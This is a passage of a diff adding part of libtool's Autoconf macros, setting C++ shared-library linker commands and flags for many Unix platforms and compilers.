+	      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	      ;;
+	    ia64*)
+	      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	      ;;
+	    *)
+	      _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	      ;;
+	    esac
+	  fi
+	else
+	  # FIXME: insert proper C++ library support
+	  _LT_AC_TAGVAR(ld_shlibs, $1)=no
+	fi
+	;;
+    esac
+    ;;
+  interix3*)
+    _LT_AC_TAGVAR(hardcode_direct, $1)=no
+    _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+    _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+    # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
+    # Instead, shared libraries are loaded at an image base (0x10000000 by
+    # default) and relocated if they conflict, which is a slow very memory
+    # consuming and fragmenting process.  To avoid this, we pick a random,
+    # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
+    # time.  Moving up from 0x10000000 also allows more sbrk(2) space.
+    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+    _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
+    ;;
+  irix5* | irix6*)
+    case $cc_basename in
+      CC*)
+	# SGI C++
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -all -multigot $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
+
+	# Archives containing C++ object files must be created using
+	# "CC -ar", where "CC" is the IRIX C++ compiler.  This is
+	# necessary to make sure instantiated templates are included
+	# in the archive.
+	_LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -ar -WR,-u -o $oldlib $oldobjs'
+	;;
+      *)
+	if test "$GXX" = yes; then
+	  if test "$with_gnu_ld" = no; then
+	    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+	  else
+	    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` -o $lib'
+	  fi
+	fi
+	_LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+	;;
+    esac
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+    _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+    ;;
+  linux* | k*bsd*-gnu)
+    case $cc_basename in
+      KCC*)
+	# Kuck and Associates, Inc. (KAI) C++ Compiler
+
+	# KCC will only create a shared library if the output file
+	# ends with ".so" (or ".sl" for HP-UX), so rename the library
+	# to its proper name (with version) after linking.
+	_LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib ${wl}-retain-symbols-file,$export_symbols; mv \$templib $lib'
+	# Commands to make compiler produce verbose output that lists
+	# what "hidden" libraries, object files and flags are used when
+	# linking a shared library.
+	#
+	# There doesn't appear to be a way to prevent this compiler from
+	# explicitly linking system object files so we need to strip them
+	# from the output so that they don't get included in the library
+	# dependencies.
+	output_verbose_link_cmd='templist=`$CC $CFLAGS -v conftest.$objext -o libconftest$shared_ext 2>&1 | grep "ld"`; rm -f libconftest$shared_ext; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath,$libdir'
+	_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+
+	# Archives containing C++ object files must be created using
+	# "CC -Bstatic", where "CC" is the KAI C++ compiler.
+	_LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
+	;;
+      icpc*)
+	# Intel C++
+	with_gnu_ld=yes
+	# version 8.0 and above of icpc choke on multiply defined symbols
+	# if we add $predep_objects and $postdep_objects, however 7.1 and
+	# earlier do not add the objects themselves.
+	case `$CC -V 2>&1` in
+	*"Version 7."*)
+  	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+  	  _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+	  ;;
+	*)  # Version 8.0 or newer
+	  tmp_idyn=
+	  case $host_cpu in
+	    ia64*) tmp_idyn=' -i_dynamic';;
+	  esac
+  	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	  _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared'"$tmp_idyn"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+	  ;;
+	esac
+	_LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+	_LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive$convenience ${wl}--no-whole-archive'
+	;;
+      pgCC*)
+        # Portland Group C++ compiler
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname -o $lib'
+  	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname ${wl}-retain-symbols-file ${wl}$export_symbols -o $lib'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}--rpath ${wl}$libdir'
+	_LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}--export-dynamic'
+	_LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}--whole-archive`for conv in $convenience\"\"; do test  -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
+        ;;
+      cxx*)
+	# Compaq C++
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname -o $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $wl$soname  -o $lib ${wl}-retain-symbols-file $wl$export_symbols'
+
+	runpath_var=LD_RUN_PATH
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	# Commands to make compiler produce verbose output that lists
+	# what "hidden" libraries, object files and flags are used when
+	# linking a shared library.
+	#
+	# There doesn't appear to be a way to prevent this compiler from
+	# explicitly linking system object files so we need to strip them
+	# from the output so that they don't get included in the library
+	# dependencies.
+	output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
+	;;
+    esac
+    ;;
+  lynxos*)
+    # FIXME: insert proper C++ library support
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  m88k*)
+    # FIXME: insert proper C++ library support
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  mvs*)
+    case $cc_basename in
+      cxx*)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      *)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+    esac
+    ;;
+  netbsd* | netbsdelf*-gnu)
+    if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
+      _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable  -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags'
+      wlarc=
+      _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+      _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+      _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+    fi
+    # Workaround some broken pre-1.5 toolchains
+    output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"'
+    ;;
+  openbsd2*)
+    # C++ shared libraries are fairly broken
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  openbsd*)
+    _LT_AC_TAGVAR(hardcode_direct, $1)=yes
+    _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib'
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+    if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
+      _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib'
+      _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E'
+      _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
+    fi
+    output_verbose_link_cmd='echo'
+    ;;
+  osf3*)
+    case $cc_basename in
+      KCC*)
+	# Kuck and Associates, Inc. (KAI) C++ Compiler
+
+	# KCC will only create a shared library if the output file
+	# ends with ".so" (or ".sl" for HP-UX), so rename the library
+	# to its proper name (with version) after linking.
+	_LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	# Archives containing C++ object files must be created using
+	# "CC -Bstatic", where "CC" is the KAI C++ compiler.
+	_LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs'
+
+	;;
+      RCC*)
+	# Rational C++ 2.4.1
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      cxx*)
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	# Commands to make compiler produce verbose output that lists
+	# what "hidden" libraries, object files and flags are used when
+	# linking a shared library.
+	#
+	# There doesn't appear to be a way to prevent this compiler from
+	# explicitly linking system object files so we need to strip them
+	# from the output so that they don't get included in the library
+	# dependencies.
+	output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
+	;;
+      *)
+	if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+	  _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	  _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+
+	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+	  _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	  # Commands to make compiler produce verbose output that lists
+	  # what "hidden" libraries, object files and flags are used when
+	  # linking a shared library.
+	  output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
+
+	else
+	  # FIXME: insert proper C++ library support
+	  _LT_AC_TAGVAR(ld_shlibs, $1)=no
+	fi
+	;;
+    esac
+    ;;
+  osf4* | osf5*)
+    case $cc_basename in
+      KCC*)
+	# Kuck and Associates, Inc. (KAI) C++ Compiler
+
+	# KCC will only create a shared library if the output file
+	# ends with ".so" (or ".sl" for HP-UX), so rename the library
+	# to its proper name (with version) after linking.
+	_LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	# Archives containing C++ object files must be created using
+	# the KAI C++ compiler.
+	_LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs'
+	;;
+      RCC*)
+	# Rational C++ 2.4.1
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      cxx*)
+	_LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~
+	  echo "-hidden">> $lib.exp~
+	  $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp  `test -n "$verstring" && echo -set_version	$verstring` -update_registry ${output_objdir}/so_locations -o $lib~
+	  $rm $lib.exp'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir'
+	_LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	# Commands to make compiler produce verbose output that lists
+	# what "hidden" libraries, object files and flags are used when
+	# linking a shared library.
+	#
+	# There doesn't appear to be a way to prevent this compiler from
+	# explicitly linking system object files so we need to strip them
+	# from the output so that they don't get included in the library
+	# dependencies.
+	output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list'
+	;;
+      *)
+	if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+	  _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*'
+	 _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+
+	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir'
+	  _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=:
+
+	  # Commands to make compiler produce verbose output that lists
+	  # what "hidden" libraries, object files and flags are used when
+	  # linking a shared library.
+	  output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"'
+
+	else
+	  # FIXME: insert proper C++ library support
+	  _LT_AC_TAGVAR(ld_shlibs, $1)=no
+	fi
+	;;
+    esac
+    ;;
+  psos*)
+    # FIXME: insert proper C++ library support
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  sunos4*)
+    case $cc_basename in
+      CC*)
+	# Sun C++ 4.x
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      lcc*)
+	# Lucid
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      *)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+    esac
+    ;;
+  solaris*)
+    case $cc_basename in
+      CC*)
+	# Sun C++ 4.2, 5.x and Centerline C++
+        _LT_AC_TAGVAR(archive_cmds_need_lc,$1)=yes
+	_LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs'
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag}  -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
+	$CC -G${allow_undefined_flag}  ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
+
+	_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir'
+	_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+	case $host_os in
+	  solaris2.[[0-5]] | solaris2.[[0-5]].*) ;;
+	  *)
+	    # The C++ compiler is used as linker so we must use $wl
+	    # flag to pass the commands to the underlying system
+	    # linker. We must also pass each convience library through
+	    # to the system linker between allextract/defaultextract.
+	    # The C++ compiler will combine linker options so we
+	    # cannot just pass the convience library names through
+	    # without $wl.
+	    # Supported since Solaris 2.6 (maybe 2.5.1?)
+	    _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract'
+	    ;;
+	esac
+	_LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+
+	output_verbose_link_cmd='echo'
+
+	# Archives containing C++ object files must be created using
+	# "CC -xar", where "CC" is the Sun C++ compiler.  This is
+	# necessary to make sure instantiated templates are included
+	# in the archive.
+	_LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs'
+	;;
+      gcx*)
+	# Green Hills C++ Compiler
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+
+	# The C++ compiler must be used to create the archive.
+	_LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs'
+	;;
+      *)
+	# GNU C++ compiler with Solaris linker
+	if test "$GXX" = yes && test "$with_gnu_ld" = no; then
+	  _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs'
+	  if $CC --version | grep -v '^2\.7' > /dev/null; then
+	    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+	    _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
+		$CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
+
+	    # Commands to make compiler produce verbose output that lists
+	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
+	  else
+	    # g++ 2.7 appears to require `-G' NOT `-shared' on this
+	    # platform.
+	    _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib'
+	    _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
+		$CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp'
+
+	    # Commands to make compiler produce verbose output that lists
+	    # what "hidden" libraries, object files and flags are used when
+	    # linking a shared library.
+	    output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\""
+	  fi
+
+	  _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir'
+	fi
+	;;
+    esac
+    ;;
+  sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[[01]].[[10]]* | unixware7* | sco3.2v5.0.[[024]]*)
+    _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+    _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+    _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+    runpath_var='LD_RUN_PATH'
+
+    case $cc_basename in
+      CC*)
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	;;
+      *)
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
+	;;
+    esac
+    ;;
+  sysv5* | sco3.2v5* | sco5v6*)
+    # Note: We can NOT use -z defs as we might desire, because we do not
+    # link with -lc, and that would cause any symbols used from libc to
+    # always be unresolved, which means just about no library would
+    # ever link correctly.  If we're not using GNU ld we use -z text
+    # though, which does catch some bad symbols but isn't as heavy-handed
+    # as -z defs.
+    # For security reasons, it is highly recommended that you always
+    # use absolute paths for naming shared libraries, and exclude the
+    # DT_RUNPATH tag from executables and libraries.  But doing so
+    # requires that you compile everything twice, which is a pain.
+    # So that behaviour is only enabled if SCOABSPATH is set to a
+    # non-empty value in the environment.  Most likely only useful for
+    # creating official distributions of packages.
+    # This is a hack until libtool officially supports absolute path
+    # names for shared libraries.
+    _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z,text'
+    _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-z,nodefs'
+    _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no
+    _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no
+    _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
+    _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':'
+    _LT_AC_TAGVAR(link_all_deplibs, $1)=yes
+    _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport'
+    runpath_var='LD_RUN_PATH'
+
+    case $cc_basename in
+      CC*)
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	;;
+      *)
+	_LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	_LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
+	;;
+    esac
+    ;;
+  tandem*)
+    case $cc_basename in
+      NCC*)
+	# NonStop-UX NCC 3.20
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+      *)
+	# FIXME: insert proper C++ library support
+	_LT_AC_TAGVAR(ld_shlibs, $1)=no
+	;;
+    esac
+    ;;
+  vxworks*)
+    # FIXME: insert proper C++ library support
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+  *)
+    # FIXME: insert proper C++ library support
+    _LT_AC_TAGVAR(ld_shlibs, $1)=no
+    ;;
+esac
+AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)])
+test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no
+
+_LT_AC_TAGVAR(GCC, $1)="$GXX"
+_LT_AC_TAGVAR(LD, $1)="$LD"
+
+AC_LIBTOOL_POSTDEP_PREDEP($1)
+AC_LIBTOOL_PROG_COMPILER_PIC($1)
+AC_LIBTOOL_PROG_CC_C_O($1)
+AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1)
+AC_LIBTOOL_PROG_LD_SHLIBS($1)
+AC_LIBTOOL_SYS_DYNAMIC_LINKER($1)
+AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1)
+
+AC_LIBTOOL_CONFIG($1)
+
+AC_LANG_POP
+CC=$lt_save_CC
+LDCXX=$LD
+LD=$lt_save_LD
+GCC=$lt_save_GCC
+with_gnu_ldcxx=$with_gnu_ld
+with_gnu_ld=$lt_save_with_gnu_ld
+lt_cv_path_LDCXX=$lt_cv_path_LD
+lt_cv_path_LD=$lt_save_path_LD
+lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld
+lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld
+])# AC_LIBTOOL_LANG_CXX_CONFIG
+
+# AC_LIBTOOL_POSTDEP_PREDEP([TAGNAME])
+# ------------------------------------
+# Figure out "hidden" library dependencies from verbose
+# compiler output when linking a shared library.
+# Parse the compiler output and extract the necessary
+# objects, libraries and library flags.
+AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP],[
+dnl we can't use the lt_simple_compile_test_code here,
+dnl because it contains code intended for an executable,
+dnl not a library.  It's possible we should let each
+dnl tag define a new lt_????_link_test_code variable,
+dnl but it's only used here...
